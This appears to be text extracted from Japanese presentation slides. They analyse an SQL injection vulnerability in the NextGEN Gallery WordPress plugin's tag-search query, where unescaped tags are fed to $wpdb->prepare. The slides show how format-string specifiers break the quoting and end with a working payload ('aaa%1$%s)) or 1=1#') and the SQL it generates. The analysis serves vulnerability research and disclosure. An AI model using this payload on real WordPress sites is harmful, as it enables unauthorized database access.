タグ検索のSQL文生成箇所 get_term_ids_for_tags()
1203: $container_ids = array();
1204: if (is_array($tags) && !in_array('all', array_map('strtolower', $tags))) {
1205: foreach ($tags as $ndx => $container) {
1206: $container_ids[] = "'{$container}'";
1207: }
1208: $container_ids = implode(',', $container_ids);
1209: }
1210: // Construct query
1211: $query = "SELECT {$wpdb->term_taxonomy}.term_id FROM {$wpdb->term_taxonomy}n
INNER JOIN {$wpdb->terms} ON {$wpdb->term_taxonomy}.term_id = {$wpdb->terms}.term_idn
WHERE {$wpdb->ter m_taxonomy}.term_id = {$wpdb->terms}.term_idn
AND {$wpdb->term_taxonomy}.taxonomy = %s";
1212: if (!empty($container_ids)) {
1213: $query .=
" AND ({$wpdb->terms}.slug IN ({$container_ids}) OR {$wpdb->terms}.name IN ({$container_ids}))";
1214: }
1215: $query .= " ORDER BY {$wpdb->terms}.term_id";
1216: $query = $wpdb->prepare($query, 'ngg_tag');
31
wp-content/plugins/nextgen-gallery/products/photocrati_nextgen/modules/
nextgen_gallery_display/package.module.nextgen_gallery_display.php
タグとして sitting を指定すると…
生成されるSQL文は下記
SELECT wp_term_taxonomy.term_id FROM wp_term_taxonomy
INNER JOIN wp_terms ON wp_term_taxonomy.term_id = wp_terms.term_id
WHERE wp_term_taxonomy.term_id = wp_terms.term_id
AND wp_term_taxonomy.taxonomy = %s
AND (wp_terms.slug IN ('sitting') OR wp_terms.name IN ('sitting'))
ORDER BY wp_terms.term_id
これは正常系
32
タグとして aaa%s を指定すると…
生成されるSQL文は下記
SELECT wp_term_taxonomy.term_id FROM wp_term_taxonomy
INNER JOIN wp_terms ON wp_term_taxonomy.term_id = wp_terms.term_id
WHERE wp_term_taxonomy.term_id = wp_terms.term_id
AND wp_term_taxonomy.taxonomy = %s
AND (wp_terms.slug IN ('aaa%s') OR wp_terms.name IN ('aaa%s'))
ORDER BY wp_terms.term_id
%s が3箇所に出て来る
$query = $wpdb->prepare($query, 'ngg_tag'); の呼び出しの内部で、
return @vsprintf($query, 'ngg_tag'); が呼ばれるが、書式%s が3箇所に対してパラメータは
1個なのでエラーになる
この時点でバグだね…
33
タグとして aaa%1$s を指定すると…
生成されるSQL文は下記
SELECT wp_term_taxonomy.term_id FROM wp_term_taxonomy
INNER JOIN wp_terms ON wp_term_taxonomy.term_id = wp_terms.term_id
WHERE wp_term_taxonomy.term_id = wp_terms.term_id
AND wp_term_taxonomy.taxonomy = %s
AND (wp_terms.slug IN ('aaa%1$s') OR wp_terms.name IN ('aaa%1$s'))
ORDER BY wp_terms.term_id
SELECT wp_term_taxonomy.term_id FROM wp_term_taxonomy
INNER JOIN wp_terms ON wp_term_taxonomy.term_id = wp_terms.term_id
WHERE wp_term_taxonomy.term_id = wp_terms.term_id
AND wp_term_taxonomy.taxonomy = 'ngg_tag'
AND (wp_terms.slug IN ('aaangg_tag') OR wp_terms.name IN ('aaangg_tag'))
ORDER BY wp_terms.term_id
34
タグとして aaa%1$%s を指定すると…
生成されるSQL文は下記
SELECT wp_term_taxonomy.term_id FROM wp_term_taxonomy
INNER JOIN wp_terms ON wp_term_taxonomy.term_id = wp_terms.term_id
WHERE wp_term_taxonomy.term_id = wp_terms.term_id
AND wp_term_taxonomy.taxonomy = %s
AND (wp_terms.slug IN ('aaa%1$%s') OR wp_terms.name IN ('aaa%1$%s'))
AND wp_term_taxonomy.taxonomy = '%s'
AND (wp_terms.slug IN ('aaa%1$'%s'') OR wp_terms.name IN ('aaa%1$'%s''))
AND wp_term_taxonomy.taxonomy = 'aaangg_tag'
AND (wp_terms.slug IN ('aaangg_tag'') OR wp_terms.name IN ('aaangg_tag''))
36
余計なシングルクォート 余計なシングルクォート
タグとして aaa%1$%s)) or 1=1# を指定すると…
生成されるSQL文は下記
SELECT wp_term_taxonomy.term_id FROM wp_term_taxonomy
INNER JOIN wp_terms ON wp_term_taxonomy.term_id = wp_terms.term_id
WHERE wp_term_taxonomy.term_id = wp_terms.term_id
AND wp_term_taxonomy.taxonomy = %s
AND (wp_terms.slug IN ('aaa%1$%s)) or 1=1#')
OR wp_terms.name IN ('aaa%1$%s)) or 1=1#'))
AND wp_term_taxonomy.taxonomy = '%s' AND (wp_terms.slug IN ('aaa%1$'%s')) or
1=1#') OR wp_terms.name IN ('aaa%1$'%s')) or 1=1#'))
AND wp_term_taxonomy.taxonomy = 'ngg_tag' AND (wp_terms.slug IN
('aaangg_tag')) or 1=1#') OR wp_terms.name IN ('aaangg_tag')) or 1=1#'))
38
SQLインジェクション